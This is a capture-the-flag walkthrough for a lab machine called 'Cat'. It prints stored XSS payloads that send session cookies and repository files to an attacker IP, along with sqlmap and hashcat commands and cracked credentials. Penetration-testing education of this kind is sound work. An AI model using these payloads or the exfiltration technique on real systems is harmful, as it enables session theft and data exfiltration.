Enumeration
Nmap Scan
We start by scanning the machine with nmap.
nmap -A -v -p- -oN cat.nmap 10.10.10.245Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))- Port 22 is running OpenSSH 8.2p1.
- Port 80 is hosting a web service using Apache 2.4.41.
- The HTTP title indicates a redirect to
http://cat.htb/.
Web Enumeration
Hostname Resolution
To properly resolve cat.htb, we add an entry to /etc/hosts:
echo "10.10.10.245 cat.htb" | sudo tee -a /etc/hostsWeb Application Overview
Visiting http://cat.htb/ reveals a cat competition website with features such as:
- Registering and logging in
- Adding a new cat to the competition
- Voting for existing entries


Directory Enumeration
We use dirsearch to enumerate hidden directories:
dirsearch -u http://cat.htb/ -o dirsearch.txtThis revealed the presence of a .git directory.

Git Repository Disclosure
We use git-dumper to download the Git repository:
git-dumper http://cat.htb/.git ./git-dump/Source Code Review
Database Configuration
$db_file = '/databases/cat.db';
$pdo = new PDO("sqlite:$db_file");The application uses a local SQLite database.
Admin Panel Restriction
Access to admin.php is restricted to a hardcoded user axel:
if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
header("Location: /join.php");
exit();
}SQL Injection Vulnerability (Conditional)
In accept_cat.php, a SQL query inserts the cat name without proper sanitization:
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";However, this endpoint is only accessible to authenticated user axel.
Input Filtering in Cat Submission
When submitting a new cat, user inputs (name, age, birthdate, weight) are filtered using regex-based checks:
if (contains_forbidden_content($cat_name, $forbidden_patterns)) {
$error_message = "Your entry contains invalid characters.";
}Stored XSS via username
In join.php, the username field is not sanitized and is reflected in view_cat.php:
<strong>Owner:</strong> <?php echo $cat['username']; ?><br>This allows for a stored XSS attack:
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://10.10.14.10:1337/?' + document.cookie, true);
xhr.send();
</script>Using this payload, we can exfiltrate session cookies of the admin user.

Exploitation
Dumping the Database
Using the stolen PHPSESSID, we exploited the SQLi in accept_cat.php to extract user credentials:
sqlmap -u "http://cat.htb/accept_cat.php" \
--data "catId=1&catName=random" \
-p catName \
--cookie="PHPSESSID=kcmnovp0n0a82ofiiiactq0586" \
--level=5 --risk=3 --dbms=SQLite \
--technique=B -T "users" --threads=4 --dumpExtracted Credentials:
| ID | Username | Password (MD5) | |
|---|---|---|---|
| 2 | rosa | rosamendoza485@gmail.com | ac369922d560f17d6eeb8b2c7dec498c |
| … | … | … | … |
Credential Cracking
The password hashes were cracked using hashcat with the rockyou.txt wordlist:
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txtResult:
rosa:soyunaprincesarosaInitial Access
Using Rosa's credentials, we gained access via SSH:
ssh rosa@cat.htbPrivilege Escalation
Discovering Axel’s Credentials
Reviewing Apache logs revealed Axel’s plaintext credentials:
cat /var/log/apache2/access.logLog snippet:
GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3QUsing these credentials, we can switch to the axel user:
su axel
Password: ********************The user flag is located in the /home/axel/user.txt file.
Privilege Escalation to Root
Mail Discovery
During local enumeration, we identified an email belonging to the axel user that disclosed internal development details:
Subject: New cat services
Hi Axel,
We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.
Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.
We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.From this message, we inferred the presence of an internal Gitea server and a repository named Employee-management.
To confirm the service, we enumerated listening ports with the following command:
netstat -punta || ss --ntpuThis revealed that TCP port 3000 is open locally:
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -Accessing the Internal Gitea Service
To access the Gitea instance bound to localhost, we established an SSH tunnel:
ssh -L 3000:127.0.0.1:3000 axel@cat.htbNavigating to http://localhost:3000 via a local browser exposed a running instance of Gitea v1.22.0.

Using the same credentials as the axel user, we were able to authenticate to the Gitea web interface.
Exploiting Gitea
A known vulnerability in Gitea version 1.22.0 (Exploit-DB ID: 52077) allows for stored Cross-Site Scripting (XSS).
Given that internal communications instruct users to send repository links to jobert@localhost, we crafted a malicious payload to exploit this behavior and exfiltrate internal file content:
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(data => data.text()).then(data => fetch('http://10.10.14.10:1337/?data=' + encodeURIComponent(data)));">Super repository</a>This payload was embedded into a Gitea repository and referenced in an email to Jobert:
echo -e "Subject: Click Link\n\nhttp://localhost:3000/axel/random" | sendmail jobert@localhostAfter several attempts, the XSS payload successfully executed and retrieved the content of the index.php file from the internal Employee-management repository.
The response included hardcoded credentials:
<?php
$valid_username = 'admin';
$valid_password = '******************';Root Access
Using the recovered credentials, we authenticated as the root user and gained shell access.

The root flag is located in the /root/root.txt file.

